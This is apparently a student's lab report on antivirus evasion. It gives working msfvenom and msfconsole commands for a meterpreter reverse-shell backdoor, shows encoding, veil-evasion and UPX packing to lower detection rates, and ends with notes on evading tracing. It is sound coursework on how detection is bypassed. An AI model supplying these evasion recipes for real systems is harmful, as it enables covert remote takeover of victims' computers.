20154301 Exp3 免杀原理与实践
仉鑫烨
一、 实践内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 通过组合应用各种技术实现恶意代码免杀;
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二、 基础问题
杀软是如何检测出恶意代码的?
答:①基于特征码检测;如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。②启发式恶意软件检测;如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。免杀是做什么?
答:免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。
免杀的基本方法有哪些?
答:①改变特征码;若只有EXE可以通过加壳,包括压缩壳和加密壳来改变特征码。若有shellcode可以用encodde进行编码或者基于payload重新编译生成可执行文件(这次实践尝试过这种方法)。若有源代码,可用其他语言进行重新再编译(veil-evasion)。
②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。③非常规方法;使用社工类攻击,诱骗目标关闭软件。
三、实验过程
1. msf编码器
本机IP:192.168.108.131
Linux的IP:192.168.108.128
将上此实验产生的后门 zxy_backdoor.exe 文件直接拷贝到开启360的win主机下,被360直接查杀。
添加信任以后放在 www.virustotal.com 上扫描。得出有52/66的杀毒软件报出病毒。
尝试对木马进行编码,第一次编码文件命名为++zxy_backdoor_v1_1.exe++。检测结果为49/66。报毒率略有下降。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b ’\x00’ LHOST=192.168.108.128 LPORT=4301 -f exe > zxy_backdoor_v1_1.exe
编码十次结果为++zxy_backdoor_v1_10.exe++
www.virustotal.com检测结果与第一次编码结果相同,49/66。
2. veil-evasion
- 首先安装veil(时间巨长!!)
sudo apt-get install veil-evasion
安装完成后,用
use evasion
命令进入Evil-Evasion
并输入use python/meterpreter/rev_tcp.py
选择一个模板生成payload,我选择的是C语言,“c/meterpreter/rev_tcp”。
`set LHOST 192.168.108.128
set LPORT 4301
generate`
生成exe文件
- 报毒率为29/66,有显著下降。
3. C语言调用Shellcode
- 在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.128 LPORT=4301 -f c
(应老师要求代码不写出)
- 在linux下进入MSF打开监听进程,跟之前做的实验步骤一样,这时候在win10下运行之前的c文件,这时候linux就轻易的侵入了我的电脑
在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
设置完成后,执行监听
打开Windows上的后门程序:
4301.exe
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell,回连成功。
查杀效果25/66
4. 加壳
直接用upx将之前生成的c.exe文件加壳,改个文件名
加壳后结果23/66.可以看到一定的效果!!
四、离实战还缺些什么技术或步骤
- 文件伪装性不强,易被发现,应在后台自动运行且不显示。另外我们可以获得一个稳定的ip去监听靶机,避免被追踪?
五、实验体会
- 本次实验操作较为简单,但准备工作比较复杂,安装veil时消耗时间极多。另外在编译c语言文件时,由于基础比较薄弱,消耗了一定的时间,后查阅同学资料才将将完成。本次最终完成的免杀程序较为基础,可以见到,还有23个杀毒软件能够检测出来,可见我们与专业人士的差距。另....我的360在本次实验中表现极为差劲,我准备换一个了!